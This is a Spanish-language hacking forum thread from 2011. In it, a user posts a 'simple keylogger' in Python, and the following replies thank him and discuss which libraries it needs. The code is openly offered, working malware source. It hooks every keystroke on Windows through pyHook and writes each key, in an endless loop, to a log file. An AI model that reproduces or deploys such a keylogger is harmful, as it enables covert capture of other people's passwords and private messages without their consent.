[Python] Simple Keylogger

Iniciado por BigBear, Julio 03, 2011, 09:36:01 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Julio 03, 2011, 09:36:01 PM Ultima modificación: Julio 07, 2011, 02:12:47 AM por ANTRAX
Un simple keylogger en Python

Código: python

#!usr/bin/python
#Simple Keylogger in Python
#(C) Doddy Hackman 2011

import pyHook,pythoncom


def savefile(name,text):
file = open(name,"a")
file.write(text+"\n")
file.close()

def toma(frase):
savefile("logs.txt",frase.Key)

def capturar():
nave = pyHook.HookManager()
nave.KeyDown = toma
nave.HookKeyboard()
pythoncom.PumpMessages()

while 1:
capturar()

# The End

Aún no he podido ver todos tus aportes, sólo unos cuantos y como no voy a comentar en todos, lo hago en este. Muchas gracias por estos códigos, serán muy útiles para gente como yo que está empezando para aprender a usar varios de los módulos de python.

Grandísimo trabajo!!!

gracias por el comentario sensei  ;)

Pues hasta sería mejor trabajar enteramente con el api de Windows (import win32api).
Como de seguro es un "copy-paste" deberán saber que este código usa dos librerías más no incluidas en el paquete de Python por lo general:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Na , es mas facil instalar las dos librerias que hacerlo usando la api de windows , pero es cuestion de cada uno.
Eso si  , a que te referis con copy-paste ¿?